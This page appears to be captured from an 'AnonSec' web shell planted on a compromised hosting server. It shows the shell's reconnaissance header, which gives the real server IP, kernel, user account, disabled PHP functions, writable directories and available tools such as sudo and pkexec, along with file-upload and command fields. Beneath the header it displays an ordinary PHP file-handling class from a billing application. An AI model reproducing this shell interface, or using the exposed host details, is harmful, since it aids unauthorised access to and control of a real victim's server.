AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/meridional/application/autoload/IBilling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/meridional/application/autoload/IBilling/FileSystem.php
<?php
if(!defined('APP_RUN')) exit('No direct access allowed');

Class IBilling_FileSystem{

    public $source;
    public $destination;
    public $permissions;

    public function __construct(){

        $this->permissions = 0755;
        $this->source = false;

    }


    public function select($source){

        if(file_exists($source)){
            $this->source = $source;
            return $this;
        }
        else{

            throw new Exception('File not Found!');

        }


    }



    public function copy(){

        return $this;

    }

    public function paste($destination){

        $file = '';

        if(is_file($this->source)){
            $file = basename($this->source);
        }

        $p = $this->xcopy($this->source,$destination.$file,$this->permissions);

        if($p){

            return true;

        }
        else{

            throw new Exception('Failed to Copy.');


        }

    }


    public function delete(){


        if($this->source && file_exists($this->source)){

            unlink($this->source);

        }
        else{

            throw new Exception('Failed to Delete.');

        }


    }



    public function xcopy($source, $dest, $permissions = 0755){
        if (is_link($source)) {
            return symlink(readlink($source), $dest);
        }
        if (is_file($source)) {
            return copy($source, $dest);
        }
        if (!is_dir($dest)) {
            mkdir($dest, $permissions);
        }
        $dir = dir($source);
        while (false !== $entry = $dir->read()) {
            if ($entry == '.' || $entry == '..') {
                continue;
            }
            $this->xcopy("$source/$entry", "$dest/$entry", $permissions);
        }
        $dir->close();
        return true;
    }

    public function createFile($file,$contents){

        $create = fopen($file, "w");
        if(!$create){
            throw new Exception('PHP fopen function is not enabled in this server.');
        }

        $written = fwrite($create, $contents);

        if(!$written){
            throw new Exception('Unable to write file, check directory permission.');
        }

        fclose($create);

        return true;


    }




    public function exist($file){

        if(file_exists($file)){
            return true;
        }
        else{
            return false;
        }

    }


    public function createFolder($path){
        if (!file_exists($path)) {
            mkdir($path);
            return true;
        }
        else{
            return false;
        }
    }


    public function deleteDir($path){
        if (! is_dir($path)) {
            throw new Exception("$path must be a directory");
        }
        if (substr($path, strlen($path) - 1, 1) != '/') {
            $path .= '/';
        }
        $files = glob($path . '*', GLOB_MARK);
        foreach ($files as $file) {
            if (is_dir($file)) {
                $this->deleteDir($file);
            } else {
                unlink($file);
            }
        }
        rmdir($path);
    }


}

Anon7 - 2022
AnonSec Team